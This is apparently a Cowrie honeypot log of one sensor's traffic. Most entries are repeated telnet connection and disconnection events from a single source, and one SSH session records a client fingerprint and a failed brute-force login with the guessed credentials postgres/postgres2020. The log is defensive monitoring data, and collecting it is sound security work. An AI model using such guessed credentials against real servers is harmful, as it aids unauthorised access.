{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55076,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d00a1f212c","protocol":"telnet","message":"New connection: 69.6.225.50:55076 (159.203.135.109:23) [session: b3d00a1f212c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:38.409906Z"}
{"eventid":"cowrie.session.closed","duration":31.137868404388428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:40.045497Z","src_ip":"69.6.225.50","session":"5bd6ec075d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55084,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73ec465a467","protocol":"telnet","message":"New connection: 69.6.225.50:55084 (159.203.135.109:23) [session: c73ec465a467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:41.094255Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55078,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa67cac6069c","protocol":"telnet","message":"New connection: 69.6.225.50:55078 (159.203.135.109:23) [session: fa67cac6069c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:41.107596Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55088,"dst_ip":"159.203.135.109","dst_port":23,"session":"36a0d89e4f7d","protocol":"telnet","message":"New connection: 69.6.225.50:55088 (159.203.135.109:23) [session: 36a0d89e4f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:41.354651Z"}
{"eventid":"cowrie.session.closed","duration":30.925707817077637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:43.059241Z","src_ip":"69.6.225.50","session":"1652d48f3173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31484031677246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:43.182163Z","src_ip":"69.6.225.50","session":"a23bb83c4f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55104,"dst_ip":"159.203.135.109","dst_port":23,"session":"0600f66bd403","protocol":"telnet","message":"New connection: 69.6.225.50:55104 (159.203.135.109:23) [session: 0600f66bd403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:43.323515Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55114,"dst_ip":"159.203.135.109","dst_port":23,"session":"782511d92c5c","protocol":"telnet","message":"New connection: 69.6.225.50:55114 (159.203.135.109:23) [session: 782511d92c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:43.662210Z"}
{"eventid":"cowrie.session.closed","duration":30.67216682434082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:44.068100Z","src_ip":"69.6.225.50","session":"dd8e90000946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55126,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e35b1e37ca0","protocol":"telnet","message":"New connection: 69.6.225.50:55126 (159.203.135.109:23) [session: 7e35b1e37ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:44.135391Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55128,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a9511380388","protocol":"telnet","message":"New connection: 69.6.225.50:55128 (159.203.135.109:23) [session: 1a9511380388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:44.586415Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55132,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d0cccd4fb0","protocol":"telnet","message":"New connection: 69.6.225.50:55132 (159.203.135.109:23) [session: 56d0cccd4fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:45.013709Z"}
{"eventid":"cowrie.session.closed","duration":31.19059109687805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:45.044472Z","src_ip":"69.6.225.50","session":"c0c616cb8590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55136,"dst_ip":"159.203.135.109","dst_port":23,"session":"93ac29741fc2","protocol":"telnet","message":"New connection: 69.6.225.50:55136 (159.203.135.109:23) [session: 93ac29741fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:45.624619Z"}
{"eventid":"cowrie.session.closed","duration":30.74489450454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:46.092740Z","src_ip":"69.6.225.50","session":"d43ac63406ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55144,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2a4e000b6a1","protocol":"telnet","message":"New connection: 69.6.225.50:55144 (159.203.135.109:23) [session: b2a4e000b6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:47.393376Z"}
{"eventid":"cowrie.session.closed","duration":31.389790296554565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:47.960431Z","src_ip":"69.6.225.50","session":"e785e0f1a746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.271544456481934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:48.075441Z","src_ip":"69.6.225.50","session":"f6c672043355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35766,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e9184fe8af","protocol":"telnet","message":"New connection: 69.6.225.50:35766 (159.203.135.109:23) [session: 32e9184fe8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:48.198359Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35778,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f42a38884c","protocol":"telnet","message":"New connection: 69.6.225.50:35778 (159.203.135.109:23) [session: 04f42a38884c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:48.422333Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"3800f9484123","protocol":"telnet","message":"New connection: 69.6.225.50:35790 (159.203.135.109:23) [session: 3800f9484123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:48.431572Z"}
{"eventid":"cowrie.session.closed","duration":31.20010542869568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:48.450577Z","src_ip":"69.6.225.50","session":"816825598e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35796,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed136aa1074","protocol":"telnet","message":"New connection: 69.6.225.50:35796 (159.203.135.109:23) [session: 3ed136aa1074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:48.636551Z"}
{"eventid":"cowrie.session.closed","duration":30.7153058052063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:49.129815Z","src_ip":"69.6.225.50","session":"fd6d456db031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35808,"dst_ip":"159.203.135.109","dst_port":23,"session":"474bd196b301","protocol":"telnet","message":"New connection: 69.6.225.50:35808 (159.203.135.109:23) [session: 474bd196b301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:50.422371Z"}
{"eventid":"cowrie.session.closed","duration":30.29000973701477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:51.108476Z","src_ip":"69.6.225.50","session":"3b0f7798a1ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35814,"dst_ip":"159.203.135.109","dst_port":23,"session":"82de2477da6d","protocol":"telnet","message":"New connection: 69.6.225.50:35814 (159.203.135.109:23) [session: 82de2477da6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:51.343839Z"}
{"eventid":"cowrie.session.closed","duration":30.212923765182495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:52.088599Z","src_ip":"69.6.225.50","session":"9933ce9371d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.477198839187622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:53.053142Z","src_ip":"69.6.225.50","session":"884aa3165731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66322612762451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:53.251962Z","src_ip":"69.6.225.50","session":"9784198ddcec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35830,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd3159182cf9","protocol":"telnet","message":"New connection: 69.6.225.50:35830 (159.203.135.109:23) [session: cd3159182cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:53.926768Z"}
{"eventid":"cowrie.session.closed","duration":31.643306970596313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:54.032826Z","src_ip":"69.6.225.50","session":"3344e99c2a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61847996711731,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:54.764723Z","src_ip":"69.6.225.50","session":"5ddd57ed25aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35836,"dst_ip":"159.203.135.109","dst_port":23,"session":"d330df0e8197","protocol":"telnet","message":"New connection: 69.6.225.50:35836 (159.203.135.109:23) [session: d330df0e8197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:55.151024Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35846,"dst_ip":"159.203.135.109","dst_port":23,"session":"4201ba05a3aa","protocol":"telnet","message":"New connection: 69.6.225.50:35846 (159.203.135.109:23) [session: 4201ba05a3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:55.157185Z"}
{"eventid":"cowrie.session.closed","duration":30.887972116470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:56.505064Z","src_ip":"69.6.225.50","session":"463758e90f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35848,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba087a9f5a7a","protocol":"telnet","message":"New connection: 69.6.225.50:35848 (159.203.135.109:23) [session: ba087a9f5a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:56.901086Z"}
{"eventid":"cowrie.session.closed","duration":30.676565170288086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:57.049546Z","src_ip":"69.6.225.50","session":"b6058c4e41f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42501735687256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:57.072664Z","src_ip":"69.6.225.50","session":"4291b12d5a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":43766,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec9c5bb3cf39","protocol":"ssh","message":"New connection: 68.183.236.1:43766 (159.203.135.109:22) [session: ec9c5bb3cf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:57.399714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:57.404683Z","src_ip":"68.183.236.1","session":"ec9c5bb3cf39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:57.645310Z","src_ip":"68.183.236.1","session":"ec9c5bb3cf39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35858,"dst_ip":"159.203.135.109","dst_port":23,"session":"33d94ce4f5cb","protocol":"telnet","message":"New connection: 69.6.225.50:35858 (159.203.135.109:23) [session: 33d94ce4f5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:57.908572Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39388,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d84cde2a51e","protocol":"telnet","message":"New connection: 69.6.225.50:39388 (159.203.135.109:23) [session: 6d84cde2a51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:57.987610Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39404,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63493c036eb","protocol":"telnet","message":"New connection: 69.6.225.50:39404 (159.203.135.109:23) [session: d63493c036eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:58.101007Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39412,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf036d2bf028","protocol":"telnet","message":"New connection: 69.6.225.50:39412 (159.203.135.109:23) [session: cf036d2bf028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:58.141212Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.58.90","src_port":13607,"dst_ip":"159.203.135.109","dst_port":23,"session":"59c8223a4470","protocol":"telnet","message":"New connection: 45.181.58.90:13607 (159.203.135.109:23) [session: 59c8223a4470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:58.227288Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2020","message":"login attempt [postgres/postgres2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:58.626099Z","src_ip":"68.183.236.1","session":"ec9c5bb3cf39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39418,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2b2de1a2e12","protocol":"telnet","message":"New connection: 69.6.225.50:39418 (159.203.135.109:23) [session: c2b2de1a2e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:58.663012Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:59.865453Z","src_ip":"68.183.236.1","session":"ec9c5bb3cf39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39434,"dst_ip":"159.203.135.109","dst_port":23,"session":"225af21c8193","protocol":"telnet","message":"New connection: 69.6.225.50:39434 (159.203.135.109:23) [session: 225af21c8193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:00.068519Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39450,"dst_ip":"159.203.135.109","dst_port":23,"session":"9edc6f666b12","protocol":"telnet","message":"New connection: 69.6.225.50:39450 (159.203.135.109:23) [session: 9edc6f666b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:00.174944Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39460,"dst_ip":"159.203.135.109","dst_port":23,"session":"bed4a104750d","protocol":"telnet","message":"New connection: 69.6.225.50:39460 (159.203.135.109:23) [session: bed4a104750d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:00.258660Z"}
{"eventid":"cowrie.session.closed","duration":30.96872878074646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:01.047472Z","src_ip":"69.6.225.50","session":"35c39f3e3fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6399347782135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:01.088708Z","src_ip":"69.6.225.50","session":"04b106fc0440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39464,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3b3f1de5bfb","protocol":"telnet","message":"New connection: 69.6.225.50:39464 (159.203.135.109:23) [session: c3b3f1de5bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:01.215012Z"}
{"eventid":"cowrie.session.closed","duration":30.348230361938477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:02.046189Z","src_ip":"69.6.225.50","session":"123ed651a234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31879687309265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:02.087760Z","src_ip":"69.6.225.50","session":"2c2cacaebc32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39470,"dst_ip":"159.203.135.109","dst_port":23,"session":"adfcad379cff","protocol":"telnet","message":"New connection: 69.6.225.50:39470 (159.203.135.109:23) [session: adfcad379cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:02.095854Z"}
{"eventid":"cowrie.session.closed","duration":30.847140789031982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:02.207518Z","src_ip":"69.6.225.50","session":"aa05ec51baf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39476,"dst_ip":"159.203.135.109","dst_port":23,"session":"696d2a56c544","protocol":"telnet","message":"New connection: 69.6.225.50:39476 (159.203.135.109:23) [session: 696d2a56c544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:02.845140Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39482,"dst_ip":"159.203.135.109","dst_port":23,"session":"824d11cabc27","protocol":"telnet","message":"New connection: 69.6.225.50:39482 (159.203.135.109:23) [session: 824d11cabc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:03.107461Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39486,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc304688aed","protocol":"telnet","message":"New connection: 69.6.225.50:39486 (159.203.135.109:23) [session: 1dc304688aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:03.482245Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39488,"dst_ip":"159.203.135.109","dst_port":23,"session":"628f3dac5132","protocol":"telnet","message":"New connection: 69.6.225.50:39488 (159.203.135.109:23) [session: 628f3dac5132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:03.636554Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39504,"dst_ip":"159.203.135.109","dst_port":23,"session":"97f2b76b5b9c","protocol":"telnet","message":"New connection: 69.6.225.50:39504 (159.203.135.109:23) [session: 97f2b76b5b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:03.700000Z"}
{"eventid":"cowrie.session.closed","duration":30.529554843902588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:04.051765Z","src_ip":"69.6.225.50","session":"0b86a711ec35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39510,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d03d993f72c","protocol":"telnet","message":"New connection: 69.6.225.50:39510 (159.203.135.109:23) [session: 3d03d993f72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:04.353730Z"}
{"eventid":"cowrie.session.closed","duration":30.58644676208496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:05.108317Z","src_ip":"69.6.225.50","session":"0ff808f02775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231208562850952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:05.241077Z","src_ip":"69.6.225.50","session":"540ba67e0ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063158988952637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:05.299294Z","src_ip":"69.6.225.50","session":"f27761c399f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833253383636475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:05.599522Z","src_ip":"69.6.225.50","session":"dee6e3f60c6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379286766052246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:06.063316Z","src_ip":"69.6.225.50","session":"a87d28ba5643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39514,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b315a745d9f","protocol":"telnet","message":"New connection: 69.6.225.50:39514 (159.203.135.109:23) [session: 4b315a745d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:06.349005Z"}
{"eventid":"cowrie.session.closed","duration":30.61605668067932,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:06.380813Z","src_ip":"69.6.225.50","session":"414737b5e3f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39528,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d0c9a2e640","protocol":"telnet","message":"New connection: 69.6.225.50:39528 (159.203.135.109:23) [session: 45d0c9a2e640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:06.755151Z"}
